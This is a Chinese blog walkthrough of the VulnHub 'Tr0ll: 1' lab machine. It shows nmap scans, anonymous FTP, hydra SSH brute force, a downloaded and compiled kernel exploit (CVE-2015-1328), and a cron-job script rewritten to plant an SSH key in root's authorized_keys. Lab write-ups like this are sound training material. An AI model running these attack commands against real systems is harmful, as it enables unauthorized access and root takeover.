zoukankan      html  css  js  c++  java
  • VulnHub靶场篇2-Tr0ll

    靶机地址:Tr0ll: 1 ~ VulnHub

    文章主要是简要记录每一个过程,没有专门地对每一步截图,也许有些步骤中并不详细,会在文末附上相关详细的渗透文章

    主机探测&端口扫描

    nmap主机探测:

    nmap 192.168.31.0/24
    # 扫描该网段上存在的主机IP
    # 扫描到该主机ip为192.168.31.43
    

    nmap端口扫描

    nmap -sV -A -p- -T5 192.168.31.43
    # 扫到21ftp服务、22ssh服务、80http服务
    

    信息搜集&权限获取

    21端口

    使用ftp相关指令,得到一个.pcap文件分析包

    # 登录
    ftp 192.168.31.43
    Name: anonymous
    Pass: 无
    
    # 查看目录下的文件信息
    ftp> dir
    
    # 下载文件到本地
    ftp> get lol.pcap
    

    使用WireShark分析该文件
    在第40处有提示信息 sup3rs3cr3tdirlol ,先留着

    80端口

    直接访问,一张图片,下载下来图片分析没啥用

    访问robots.txt文件,有一个/secret目录,进入该目录,也是一张图片,也没啥用

    *尝试访问上面21端口的提示信息 (没想到)

    http://192.168.31.43/sup3rs3cr3tdirlol/
    

    该目录下有个roflmao文件,下载分析

    > file roflmao
    roflmao: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5e14420eaa59e599c2f508490483d959f3d2cf4f, not stripped
    # 是一个32ELF可执行文件
    

    在使用strings

    > strings roflmao
    # 得到提示信息
    [^_]
    Find address 0x0856BF to proceed
    ;*2$"
    GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2
    

    *访问 http://192.168.31.43/0x0856BF/ (没想到)

    在该目录下分别获取两个文件,似乎一个是username,一个是password

    使用hydra进行爆破,但是无果

    hydra -L which_one_lol.txt -P Pass.txt 192.168.31.43 ssh
    

    *密码是文件名Pass.txt (离谱,没想到)

    hydra -L which_one_lol.txt -p Pass.txt 192.168.31.43 ssh
    

    得到username:overflowpassword:Pass.txt

    ssh登录上该用户,是个低权限用户

    ssh overflow@192.168.31.43
    

    权限提升

    一、利用漏洞

    先使用ptyhon获得tty伪终端,便于操作

    python -c 'import pty; pty.spawn("/bin/bash")'
    

    查看Linux版本 Ubuntu 14.04

    > lsb_release -a
    No LSB modules are available.
    Distributor ID: Ubuntu
    Description:    Ubuntu 14.04.1 LTS
    Release:        14.04
    Codename:       trusty
    

    查看内核版本 3.13

    > uname -a
    Linux version 3.13.0-32-generic
    

    根据版本信息,去exploit-db找相关漏洞

    搜索 Ubuntu 14.04 Linux Kernel 3.13
    找到 CVE-2015-1328 ,ID为37292

    可以通过msf找到该脚本下载,或者直接网上下载

    Python搭建简易服务器

    python -m SimpleHTTPServer 5555
    

    使用低权限用户获取该脚本,切换到/tmp目录下

    wget http://192.168.31.43:5555/37292.c
    

    编译该脚本

    gcc 37292.c -o 37292
    

    执行即可

    二、修改计划任务

    先登录 overflow@192.168.31.43,查看计划任务,发现有一个cleaner.py文件

    cat /var/log/cronlog
    

    前往该文件所在处,该计划任务是以root权限执行,但是普通用户可以进行修改

    cd /lib/log/cronlog
    
    

    这里提权思路就是通过生成公钥私钥,利用计划任务将公钥写入靶机的.ssh处,再通过私钥进行连接root

    使用ssh-keygen生成公钥私钥

    ssh-keygen
    路径默认
    密码默认为空,直接回车就行
    
    

    可以在.ssh目录下看见公钥和私钥文件

    在低权限用户下,修改cleaner.py文件

    #!/usr/bin/env python
    import os
    import sys
    try:
    	os.system('mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDE/S4eDFWDVHpqZv9izkNf0A8oXz3FV/mOIgjeX/IX390DNGaglw4ujxTX+0owJJhaGwTUMtHJ5imTrHQdwLZxT9GL5ooj6AoHYw+7wAjqyYO/u57+vswMr7M7HejWUS8K4jUO+nLWkwnDVfK3fYeZWTciSutYCRXlbNHCTKzYuIo+DmLuSFuWhpeZszFvWt5H5qAg2NYrsNJTSWNoea5UfYcNzA3/0I1zMkIL7/m0vcp0WQ6JdZeXtllxfINUMqvYXSUw7ovvrdVI2BxtwfWAm6WgCHe2oKE2tsGxkOkwzHahgoemcnqonEUtpv83VDE7rAaFs/EgNeJtPsxyA7upzPErrGk4H1AQ/6h/ZRJkR84PvznWN69BPh+Akxf1PB2SBnASkzVEbCYIMLXYGC28GVC76Yi0wRH3hl6cg3NqZcVTRCCjmGQTxUxySnBu4JxlT2p5h875NcQWjtG/JcLbuZfKbGuJ6CATnR+QJfCdY6mF66ist6hclxmpUtMwcEs= hhh@HHH" >> /root/.ssh/authorized_keys')
    except:
    	sys.exit()
    
    

    等待一会,等到计划任务执行后,直接登录root用户

    ssh root@192.168.31.43
    直接就可以的登录进去
    
    

    总结

    1. ftp操作指令
    2. pcap文件分析包,Wireshark使用
    3. 一些脑洞极大的回路
    4. 公钥私钥
    5. vim使用
    6. 计划任务crontab

    参考

    终端、Shell、tty 和控制台(console)有什么区别? - 知乎 (zhihu.com)

    Linux 伪终端(pty) - sparkdev - 博客园 (cnblogs.com)

    Linux 的计划任务(运维基础|可用于提权) - anything good - 博客园 (cnblogs.com)

  • 相关阅读:
    列表
    *
    Model/View
    文件
    提示用户输入并获得输入
    编码
    使用静态QT库编译的程序不显示中文
    rm命令
    高阶函数
    jquery checkbox 操作
  • 原文地址:https://www.cnblogs.com/labster/p/14325019.html
Copyright © 2011-2022 走看看